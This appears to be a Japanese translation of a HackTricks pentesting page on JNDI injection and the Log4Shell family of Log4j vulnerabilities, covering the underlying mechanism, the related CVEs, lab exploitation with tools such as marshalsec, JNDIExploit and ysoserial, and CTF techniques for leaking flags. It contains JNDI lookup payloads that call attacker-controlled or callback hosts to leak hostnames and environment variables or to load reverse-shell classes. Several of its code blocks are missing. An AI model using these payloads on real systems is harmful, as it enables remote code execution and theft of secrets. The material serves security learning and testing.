JNDI - Java Naming and Directory Interface & Log4Shell
Last updated
Last updated
Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE) Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
JNDIは1990年代後半からJavaに統合されており、ディレクトリサービスとして機能し、Javaプログラムが命名システムを通じてデータやオブジェクトを見つけることを可能にします。さまざまなディレクトリサービスをサービスプロバイダインターフェース(SPI)を介してサポートし、リモートJavaオブジェクトを含む異なるシステムからデータを取得できます。一般的なSPIにはCORBA COS、Java RMI Registry、LDAPがあります。
JavaオブジェクトはJNDI命名参照を使用して保存および取得でき、2つの形式があります:
参照アドレス:オブジェクトの場所を指定します(例:rmi://server/ref)、指定されたアドレスから直接取得できます。
リモートファクトリ:リモートファクトリクラスを参照します。アクセスされると、クラスはリモートの場所からダウンロードされ、インスタンス化されます。
ただし、このメカニズムは悪用される可能性があり、任意のコードの読み込みと実行につながる可能性があります。対策として:
RMI:java.rmi.server.useCodeabseOnly = true
はJDK 7u21以降デフォルトで、リモートオブジェクトの読み込みを制限します。セキュリティマネージャーはさらに読み込むことができるものを制限します。
LDAP:com.sun.jndi.ldap.object.trustURLCodebase = false
はJDK 6u141、7u131、8u121以降デフォルトで、リモートで読み込まれたJavaオブジェクトの実行をブロックします。true
に設定すると、セキュリティマネージャーの監視なしにリモートコード実行が可能になります。
CORBA:特定のプロパティはありませんが、セキュリティマネージャーは常にアクティブです。
ただし、JNDIリンクを解決する責任があるネーミングマネージャーには、組み込みのセキュリティメカニズムが欠けており、任意のソースからオブジェクトを取得できる可能性があります。これにより、RMI、LDAP、CORBAの保護が回避され、任意のJavaオブジェクトの読み込みや、既存のアプリケーションコンポーネント(ガジェット)を悪用して悪意のあるコードを実行するリスクが生じます。
悪用可能なURLの例:
rmi://attacker-server/bar
ldap://attacker-server/bar
iiop://attacker-server/bar
保護があっても、JNDIを信頼できないソースから読み込むことに対する保護が欠如しているため、脆弱性が残ります。
**PROVIDER_URL
**を設定していても、ルックアップで異なるものを指定でき、アクセスされます:ctx.lookup("<attacker-controlled-url>")
、これが攻撃者が彼の制御するシステムから任意のオブジェクトを読み込むために悪用するものです。
CORBA(Common Object Request Broker Architecture)は、リモートオブジェクトを一意に識別するために**相互運用可能なオブジェクト参照(IOR)**を使用します。この参照には、次のような重要な情報が含まれます:
タイプID:インターフェースの一意の識別子。
コードベース:スタブクラスを取得するためのURL。
特に、CORBAは本質的に脆弱ではありません。セキュリティを確保するには通常、次のことが含まれます:
セキュリティマネージャーのインストール。
セキュリティマネージャーを構成して、潜在的に悪意のあるコードベースへの接続を許可します。これは次のように実現できます:
ソケット権限、例:permissions java.net.SocketPermission "*:1098-1099", "connect";
。
ファイル読み取り権限、普遍的に(permission java.io.FilePermission "<<ALL FILES>>", "read";
)または悪意のあるファイルが配置される可能性のある特定のディレクトリに対して。
ただし、一部のベンダーポリシーは寛容であり、これらの接続をデフォルトで許可する場合があります。
RMI(Remote Method Invocation)については、状況がやや異なります。CORBAと同様に、任意のクラスのダウンロードはデフォルトで制限されています。RMIを悪用するには、通常、セキュリティマネージャーを回避する必要があります。これはCORBAでも関連する課題です。
まず、検索とルックアップを区別する必要があります。
検索は、ldap://localhost:389/o=JNDITutorial
のようなURLを使用してLDAPサーバーからJNDITutorialオブジェクトを見つけ、その属性を取得します。
ルックアップは、名前サービスのためのもので、名前にバインドされているものを取得することを目的としています。
LDAP検索がSearchControls.setReturningObjFlag()をtrue
で呼び出された場合、返されたオブジェクトは再構築されます。
したがって、これらのオプションを攻撃する方法はいくつかあります。 攻撃者はLDAPレコードを汚染し、ペイロードを導入することができます。これにより、それらを収集するシステムで実行されます(LDAPサーバーにアクセスできる場合、数十台のマシンを侵害するのに非常に便利です)。この他の悪用方法としては、例えばLDAP検索でMitM攻撃を行うことが考えられます。
アプリがJNDI LDAP URLを解決できる場合、検索されるLDAPを制御でき、エクスプロイト(log4shell)を返すことができます。
エクスプロイトはシリアライズされており、デシリアライズされます。
trustURLCodebase
がtrue
の場合、攻撃者はコードベースに自分のクラスを提供できますが、そうでない場合はクラスパス内のガジェットを悪用する必要があります。
JavaFactory参照を使用してこのLDAPを攻撃する方が簡単です:
この脆弱性はLog4jに導入されており、${prefix:name}
の形式で特別な構文をサポートしています。ここで、prefix
はさまざまなルックアップの1つであり、name
は評価されるべきものです。例えば、${java:version}
は現在実行中のJavaのバージョンです。
LOG4J2-313はjndi
ルックアップ機能を導入しました。この機能により、JNDIを介して変数を取得できます。通常、キーは自動的にjava:comp/env/
でプレフィックスが付けられます。ただし、キー自体に**":"**が含まれている場合、このデフォルトのプレフィックスは適用されません。
キーに**:が存在する場合、例えば${jndi:ldap://example.com/a}
ではプレフィックスがなく**、LDAPサーバーがオブジェクトを照会されます。これらのルックアップは、Log4jの設定やログが記録される際に使用できます。
したがって、RCEを取得するために必要な唯一のことは、ユーザーによって制御される情報を処理する脆弱なバージョンのLog4jです。そして、これはJavaアプリケーションが情報をログに記録するために広く使用されているライブラリであるため(インターネットに接続されたアプリケーションを含む)、例えば受信したHTTPヘッダーのログを記録するためにlog4jが使用されることは非常に一般的でした。しかし、log4jはHTTP情報だけでなく、開発者が示した任意の入力やデータをログに記録するために使用されます。
この脆弱性は、log4j-core
コンポーネントにおける重大な信頼できないデシリアライズの欠陥であり、バージョン2.0-beta9から2.14.1に影響を与えます。これは**リモートコード実行(RCE)**を可能にし、攻撃者がシステムを乗っ取ることを可能にします。この問題はAlibaba Cloud Security TeamのChen Zhaojunによって報告され、さまざまなApacheフレームワークに影響を与えます。バージョン2.15.0での最初の修正は不完全でした。防御のためのSigmaルールが利用可能です(ルール1、ルール2)。
最初は低評価でしたが、後に重大なものに引き上げられたこのCVEは、CVE-2021-44228の2.15.0での不完全な修正に起因する**サービス拒否(DoS)**の欠陥です。デフォルト以外の構成に影響を与え、攻撃者が巧妙に作成されたペイロードを通じてDoS攻撃を引き起こすことを可能にします。ツイートではバイパス方法が示されています。この問題は、メッセージルックアップパターンを削除し、デフォルトでJNDIを無効にすることで、バージョン2.16.0および2.12.2で解決されました。
Log4j 1.xバージョンに影響を与え、JMSAppender
を使用している非デフォルト構成のこのCVEは、信頼できないデシリアライズの欠陥です。1.xブランチには修正がなく、サポートが終了しているため、log4j-core 2.17.0
へのアップグレードが推奨されます。
この脆弱性は、Log4j 1.xの後継であるLogbackロギングフレームワークに影響を与えます。以前は安全だと考えられていましたが、フレームワークが脆弱であることが判明し、問題を解決するために新しいバージョン(1.3.0-alpha11および1.2.9)がリリースされました。
Log4j 2.16.0にはDoSの欠陥が含まれており、CVEを修正するためにlog4j 2.17.0
がリリースされました。詳細はBleepingComputerのレポートにあります。
log4jバージョン2.17に影響を与えるこのCVEは、攻撃者がlog4jの構成ファイルを制御する必要があります。これは、構成されたJDBCAppenderを介して任意のコード実行の可能性を含みます。詳細はCheckmarxのブログ投稿にあります。
この脆弱性は、保護されていない場合、非常に簡単に発見できます。なぜなら、ペイロードで指定したアドレスに少なくともDNSリクエストを送信するからです。したがって、次のようなペイロードが考えられます:
${jndi:ldap://x${hostName}.L4J.lt4aev8pktxcq2qlpdr5qu5ya.canarytokens.com/a}
(canarytokens.comを使用)
${jndi:ldap://c72gqsaum5n94mgp67m0c8no4hoyyyyyn.interact.sh}
(interactshを使用)
${jndi:ldap://abpb84w6lqp66p0ylo715m5osfy5mu.burpcollaborator.net}
(Burp Suiteを使用)
${jndi:ldap://2j4ayo.dnslog.cn}
(dnslogを使用)
${jndi:ldap://log4shell.huntress.com:1389/hostname=${env:HOSTNAME}/fe47f5ee-efd7-42ee-9897-22d18976c520}
(huntressを使用)
DNSリクエストが受信されたからといって、アプリケーションが悪用可能であるとは限らない(または脆弱であるとは限らない)ことに注意してください。悪用を試みる必要があります。
バージョン2.15を悪用するには、localhostチェックバイパスを追加する必要があります:${jndi:ldap://127.0.0.1#...}
次のコマンドでローカルの脆弱なバージョンのライブラリを検索します:
前述のプラットフォームのいくつかは、リクエスト時にログに記録される変数データを挿入することを許可します。 これは2つの点で非常に便利です:
脆弱性を検証するため
脆弱性を悪用して情報を抽出するため
例えば、次のようなリクエストを行うことができます:
または ${
jndi:ldap://jv-${sys:java.version}-hn-${hostName}.ei4frk.dnslog.cn/a}
のように、環境変数の値を持つDNSリクエストが受信されると、アプリケーションが脆弱であることがわかります。
他に漏洩を試みることができる情報:
JDKバージョン6u141、7u131、または8u121以上で動作しているホストは、LDAPクラスローディング攻撃ベクターから保護されています。これは、com.sun.jndi.ldap.object.trustURLCodebase
がデフォルトで無効化されており、JNDIがLDAPを介してリモートコードベースをロードするのを防ぐためです。しかし、これらのバージョンはデシリアライズ攻撃ベクターに対して保護されていないことに注意することが重要です。
これらの高いJDKバージョンを悪用しようとする攻撃者は、Javaアプリケーション内で信頼されたガジェットを利用する必要があります。ysoserialやJNDIExploitのようなツールがこの目的でよく使用されます。一方、低いJDKバージョンを悪用するのは比較的簡単で、これらのバージョンは任意のクラスをロードして実行するように操作できます。
詳細情報(RMIおよびCORBAベクターの制限など)については、前のJNDI命名リファレンスセクションを確認するか、https://jfrog.com/blog/log4shell-0-day-vulnerability-all-you-need-to-know/を参照してください。
THMボックスでこれをテストできます:https://tryhackme.com/room/solar
ツールmarshalsecを使用します(jarバージョンはこちらで入手可能)。このアプローチは、接続を二次HTTPサーバーにリダイレクトするLDAPリファラルサーバーを確立します。
ターゲットにリバースシェルコードを読み込ませるために、以下の内容で Exploit.java
という名前のJavaファイルを作成します:
Javaファイルをクラスファイルにコンパイルするには、次のコマンドを使用します: javac Exploit.java -source 8 -target 8
。次に、クラスファイルを含むディレクトリでHTTPサーバーを起動します: python3 -m http.server
。marshalsec LDAPサーバーがこのHTTPサーバーを参照していることを確認してください。
脆弱なウェブサーバーでエクスプロイトクラスの実行をトリガーするには、次のようなペイロードを送信します:
注意: このエクスプロイトは、Javaの設定がLDAPを介してリモートコードベースの読み込みを許可することに依存しています。これが許可されていない場合は、任意のコード実行のために信頼されたクラスを利用することを検討してください。
著者はlog4shellの発見後、何らかの理由でこのプロジェクトをgithubから削除しました。キャッシュされたバージョンはhttps://web.archive.org/web/20211210224333/https://github.com/feihong-cs/JNDIExploit/releases/tag/v1.2で見つけることができますが、著者の決定を尊重したい場合は、この脆弱性を利用するために別の方法を使用してください。
さらに、wayback machineではソースコードを見つけることができないため、ソースコードを分析するか、実行している内容がわからない状態でjarを実行してください。
この例では、ポート8080でlog4shellに脆弱なウェブサーバーを実行するだけで済みます: https://github.com/christophetd/log4shell-vulnerable-app (READMEには実行方法が記載されています)。この脆弱なアプリは、HTTPリクエストヘッダーの内容_X-Api-Version_を、脆弱なバージョンのlog4shellでログに記録しています。
次に、JNDIExploitのjarファイルをダウンロードし、次のコマンドで実行できます:
だから、私たちの例では、すでにその脆弱なDockerアプリが実行されています。それを攻撃するには:
攻撃を送信すると、JNDIExploit-1.2-SNAPSHOT.jarを実行したターミナルに出力が表示されます。
他のエクスプロイトオプションについては、java -jar JNDIExploit-1.2-SNAPSHOT.jar -u
を確認してください。さらに、必要に応じてLDAPおよびHTTPサーバーのポートを変更できます。
前のエクスプロイトと同様に、JNDI-Exploit-Kitを使用してこの脆弱性を悪用することができます。 被害者に送信するためのURLを生成するには、次のコマンドを実行します:
この攻撃はカスタム生成されたJavaオブジェクトを使用しており、THMソーラールームのようなラボで機能します。しかし、一般的には機能しません(デフォルトではJavaはLDAPを使用してリモートコードベースをロードするように構成されていないため)これは、信頼されたクラスを悪用して任意のコードを実行していないからだと思います。
https://github.com/cckuailong/JNDI-Injection-Exploit-Plus は、動作するJNDIリンクを生成し、RMIサーバー、LDAPサーバー、HTTPサーバーを起動することでバックグラウンドサービスを提供するための別のツールです。\
このオプションは、特定のクラスのみを信頼するように構成されたJavaバージョンを攻撃するのに非常に便利です。したがって、ysoserialは、任意のコードを実行するためのガジェットとして使用できる信頼されたクラスのシリアル化を生成するために使用されます(ysoserialによって悪用される信頼されたクラスは、エクスプロイトが機能するために被害者のJavaプログラムによって使用される必要があります)。
ysoserialまたはysoserial-modifiedを使用すると、JNDIによってダウンロードされるデシリアライズエクスプロイトを作成できます:
JNDI-Exploit-Kitを使用して、脆弱なマシンからの接続を待機するJNDIリンクを生成します。JNDI-Exploit-Kitによって自動的に生成される異なるエクスプロイトや、あなた自身のデシリアライズペイロード(あなた自身またはysoserialによって生成されたもの)を提供することができます。
これで、生成されたJNDIリンクを使用して脆弱性を悪用し、脆弱なバージョンのlog4jに送信するだけでリバースシェルを取得できます: ${ldap://10.10.14.10:1389/generated}
https://github.com/palantir/log4j-sniffer - ローカルの脆弱なライブラリを見つける
このCTF writeupでは、Log4Jのいくつかの機能を悪用することが可能であることがよく説明されています。
Log4jのsecurity pageには興味深い文があります:
バージョン2.16.0(Java 8用)から、メッセージルックアップ機能は完全に削除されました。構成内のルックアップはまだ機能します。さらに、Log4jはデフォルトでJNDIへのアクセスを無効にします。構成内のJNDIルックアップは明示的に有効にする必要があります。
バージョン2.17.0(Java 7およびJava 6用の2.12.3および2.3.1を含む)から、構成内のルックアップ文字列のみが再帰的に展開されます。他の使用法では、最上位のルックアップのみが解決され、ネストされたルックアップは解決されません。
これは、デフォルトでは**jndi
のエクスプロイトを使用することを忘れることができる**ことを意味します。さらに、再帰的ルックアップを実行するには、それらを構成する必要があります。
例えば、このCTFでは、log4j2.xmlファイルでこれが構成されていました:
このCTFでは、攻撃者は${sys:cmd}
の値を制御し、環境変数からフラグを抽出する必要がありました。
以前のペイロードで見たように、環境変数にアクセスする方法はいくつかあり、例えば**${env:FLAG}
**があります。このCTFでは無駄でしたが、他の実際のシナリオでは役立つかもしれません。
CTFでは、log4Jを使用してjavaアプリケーションのstderrにアクセスできませんでしたが、Log4Jの例外はstdoutに送信され、これはpythonアプリに印刷されました。これは、例外をトリガーすることで内容にアクセスできることを意味しました。フラグを抽出するための例外は次のとおりです: ${java:${env:FLAG}}
。これは、**${java:CTF{blahblah}}
**が存在しないため機能し、フラグの値を持つ例外が表示されます:
念のために言及すると、新しい変換パターンを注入し、stdout
にログされる例外をトリガーすることもできます。例えば:
これはエラーメッセージ内の日付を抽出するのには役立ちませんでした。なぜなら、変換パターンの前にルックアップが解決されなかったからですが、検出などの他のことには役立つかもしれません。
ただし、正規表現をサポートする変換パターンを使用して、正規表現を利用し、バイナリサーチまたは時間ベースの動作を悪用してルックアップから情報を抽出することが可能です。
例外メッセージによるバイナリサーチ
変換パターン**%replace
は、正規表現を使用して文字列の内容を置き換える**ために使用できます。動作は次のようになります: replace{pattern}{regex}{substitution}
この動作を悪用することで、正規表現が文字列内の何かに一致した場合に例外をトリガーし(見つからなかった場合は例外なし)、次のようにすることができます:
時間ベース
前のセクションで述べたように、%replace
はregexesをサポートしています。したがって、フラグが見つかった場合にタイムアウトを引き起こすために、ReDoSページからペイロードを使用することが可能です。
例えば、%replace{${env:FLAG}}{^(?=CTF)((.
)
)*salt$}{asd}
のようなペイロードは、そのCTFでタイムアウトを引き起こします。
この書き込みでは、ReDoS攻撃の代わりに増幅攻撃を使用して応答の時間差を引き起こしました:
フラグが
flagGuess
で始まる場合、全体のフラグは29個の#
に置き換えられます(この文字を使用したのは、フラグの一部でない可能性が高いためです)。結果として得られる29個の#
は、それぞれ54個の#
に置き換えられます。このプロセスは6回繰り返され、合計で29*54*54^6* =`` ``
96816014208
#
が生成されます!これほど多くの
#
を置き換えると、Flaskアプリケーションの10秒のタイムアウトが発生し、その結果、HTTPステータスコード500がユーザーに送信されます。(フラグがflagGuess
で始まらない場合、500以外のステータスコードが返されます)
AWSハッキングを学び、練習する:HackTricks Training AWS Red Team Expert (ARTE) GCPハッキングを学び、練習する:HackTricks Training GCP Red Team Expert (GRTE)